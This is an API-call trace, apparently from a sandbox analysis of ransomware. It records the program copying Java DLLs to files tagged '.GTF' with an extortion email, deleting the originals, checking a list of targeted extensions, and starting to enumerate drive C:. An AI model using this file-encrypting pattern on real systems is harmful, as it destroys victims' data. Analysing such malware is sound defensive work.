	[0090.549] CloseHandle (hObject=0x340) returned 1
	[0090.549] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.549] SetEndOfFile (hFile=0x35c) returned 1
	[0090.551] CloseHandle (hObject=0x35c) returned 1
	[0090.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.551] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1
	[0090.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.551] lstrlenW (lpString=".doc") returned 4
	[0090.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.551] lstrlenW (lpString=".docx") returned 5
	[0090.551] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0090.551] lstrlenW (lpString=".pdf") returned 4
	[0090.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString=".xls") returned 4
	[0090.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString=".xlsx") returned 5
	[0090.552] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0090.552] lstrlenW (lpString=".ppt") returned 4
	[0090.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.552] lstrlenW (lpString=".zip") returned 4
	[0090.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString=".rar") returned 4
	[0090.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString=".bz2") returned 4
	[0090.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.552] lstrlenW (lpString=".7z") returned 3
	[0090.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.552] lstrlenW (lpString=".dbf") returned 4
	[0090.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.552] lstrlenW (lpString=".1cd") returned 4
	[0090.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.552] lstrlenW (lpString=".jpg") returned 4
	[0090.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.552] lstrlenW (lpString=".doc") returned 4
	[0090.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString=".docx") returned 5
	[0090.552] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0090.552] lstrlenW (lpString=".pdf") returned 4
	[0090.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.552] lstrlenW (lpString=".xls") returned 4
	[0090.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.553] lstrlenW (lpString=".xlsx") returned 5
	[0090.553] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0090.553] lstrlenW (lpString=".ppt") returned 4
	[0090.553] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.553] lstrlenW (lpString=".zip") returned 4
	[0090.553] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.553] lstrlenW (lpString=".rar") returned 4
	[0090.553] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.553] lstrlenW (lpString=".bz2") returned 4
	[0090.553] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.553] lstrlenW (lpString=".7z") returned 3
	[0090.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.553] lstrlenW (lpString=".dbf") returned 4
	[0090.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.553] lstrlenW (lpString=".1cd") returned 4
	[0090.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0090.553] lstrlenW (lpString=".jpg") returned 4
	[0090.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.553] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.553] lstrlenW (lpString="npdeployJava1.dll") returned 17
	[0090.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0090.554] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=1156672) returned 1
	[0090.554] CloseHandle (hObject=0x35c) returned 1
	[0090.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20
	[0090.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0090.554] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.554] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0090.555] GetLastError () returned 0x0
	[0090.555] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0090.578] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0090.921] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x1a650, lpOverlapped=0x0) returned 1
	[0090.931] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x1a660, lpOverlapped=0x0) returned 1
	[0090.936] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.936] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0090.936] SetEndOfFile (hFile=0x340) returned 1
	[0090.943] CloseHandle (hObject=0x340) returned 1
	[0090.944] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.944] SetEndOfFile (hFile=0x35c) returned 1
	[0090.945] CloseHandle (hObject=0x35c) returned 1
	[0090.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.945] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.946] lstrlenW (lpString=".doc") returned 4
	[0090.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.946] lstrlenW (lpString=".docx") returned 5
	[0090.946] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0090.946] lstrlenW (lpString=".pdf") returned 4
	[0090.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.946] lstrlenW (lpString=".xls") returned 4
	[0090.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.946] lstrlenW (lpString=".xlsx") returned 5
	[0090.946] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0090.946] lstrlenW (lpString=".ppt") returned 4
	[0090.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.946] lstrlenW (lpString=".zip") returned 4
	[0090.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.946] lstrlenW (lpString=".rar") returned 4
	[0090.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.946] lstrlenW (lpString=".bz2") returned 4
	[0090.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.946] lstrlenW (lpString=".7z") returned 3
	[0090.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.946] lstrlenW (lpString=".dbf") returned 4
	[0090.946] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.946] lstrlenW (lpString=".1cd") returned 4
	[0090.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.946] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.946] lstrlenW (lpString=".jpg") returned 4
	[0090.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.947] lstrlenW (lpString=".doc") returned 4
	[0090.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.947] lstrlenW (lpString=".docx") returned 5
	[0090.947] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0090.947] lstrlenW (lpString=".pdf") returned 4
	[0090.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.947] lstrlenW (lpString=".xls") returned 4
	[0090.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.947] lstrlenW (lpString=".xlsx") returned 5
	[0090.947] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0090.947] lstrlenW (lpString=".ppt") returned 4
	[0090.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.947] lstrlenW (lpString=".zip") returned 4
	[0090.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.947] lstrlenW (lpString=".rar") returned 4
	[0090.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.947] lstrlenW (lpString=".bz2") returned 4
	[0090.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.947] lstrlenW (lpString=".7z") returned 3
	[0090.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.947] lstrlenW (lpString=".dbf") returned 4
	[0090.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.947] lstrlenW (lpString=".1cd") returned 4
	[0090.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.947] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0090.947] lstrlenW (lpString=".jpg") returned 4
	[0090.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.947] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.948] lstrlenW (lpString="gstreamer-lite.dll") returned 18
	[0090.948] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.365] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=619584) returned 1
	[0091.365] CloseHandle (hObject=0x398) returned 1
	[0091.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20
	[0091.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.365] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.365] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.365] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.365] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0091.366] GetLastError () returned 0x0
	[0091.366] ReadFile (in: hFile=0x398, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x97440, lpOverlapped=0x0) returned 1
	[0091.388] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x97450, lpOverlapped=0x0) returned 1
	[0091.399] ReadFile (in: hFile=0x398, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.399] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0091.399] SetEndOfFile (hFile=0x360) returned 1
	[0091.399] CloseHandle (hObject=0x360) returned 1
	[0091.399] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.399] SetEndOfFile (hFile=0x398) returned 1
	[0091.405] CloseHandle (hObject=0x398) returned 1
	[0091.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0091.405] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1
	[0091.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.405] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.405] lstrlenW (lpString=".doc") returned 4
	[0091.405] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.405] lstrlenW (lpString=".docx") returned 5
	[0091.405] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0091.405] lstrlenW (lpString=".pdf") returned 4
	[0091.405] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString=".xls") returned 4
	[0091.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString=".xlsx") returned 5
	[0091.406] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0091.406] lstrlenW (lpString=".ppt") returned 4
	[0091.406] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.406] lstrlenW (lpString=".zip") returned 4
	[0091.406] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString=".rar") returned 4
	[0091.406] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString=".bz2") returned 4
	[0091.406] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.406] lstrlenW (lpString=".7z") returned 3
	[0091.406] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.406] lstrlenW (lpString=".dbf") returned 4
	[0091.406] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.406] lstrlenW (lpString=".1cd") returned 4
	[0091.406] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.406] lstrlenW (lpString=".jpg") returned 4
	[0091.406] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.406] lstrlenW (lpString=".doc") returned 4
	[0091.406] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString=".docx") returned 5
	[0091.406] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0091.406] lstrlenW (lpString=".pdf") returned 4
	[0091.406] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString=".xls") returned 4
	[0091.406] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0091.406] lstrlenW (lpString=".xlsx") returned 5
	[0091.406] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0091.407] lstrlenW (lpString=".ppt") returned 4
	[0091.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0091.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.407] lstrlenW (lpString=".zip") returned 4
	[0091.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0091.407] lstrlenW (lpString=".rar") returned 4
	[0091.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0091.407] lstrlenW (lpString=".bz2") returned 4
	[0091.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0091.407] lstrlenW (lpString=".7z") returned 3
	[0091.407] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0091.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.407] lstrlenW (lpString=".dbf") returned 4
	[0091.407] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0091.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.407] lstrlenW (lpString=".1cd") returned 4
	[0091.407] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0091.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0091.407] lstrlenW (lpString=".jpg") returned 4
	[0091.407] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0091.407] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0091.407] lstrlenW (lpString="instrument.dll") returned 14
	[0091.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.408] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=123456) returned 1
	[0091.408] CloseHandle (hObject=0x398) returned 1
	[0091.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20
	[0091.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0091.408] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.408] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0091.409] GetLastError () returned 0x0
	[0091.409] ReadFile (hFile=0x398, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0) 

Thread:
	id = 20
	os_tid = 0x7e4

	[0062.073] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e60048
	[0062.074] lstrlenW (lpString="C:") returned 2
	[0062.074] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a1fcf8 | out: lpFindFileData=0x3a1fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x811908
	[0062.074] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0062.074] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0062.074] lstrlenW (lpString="$GetCurrent") returned 11
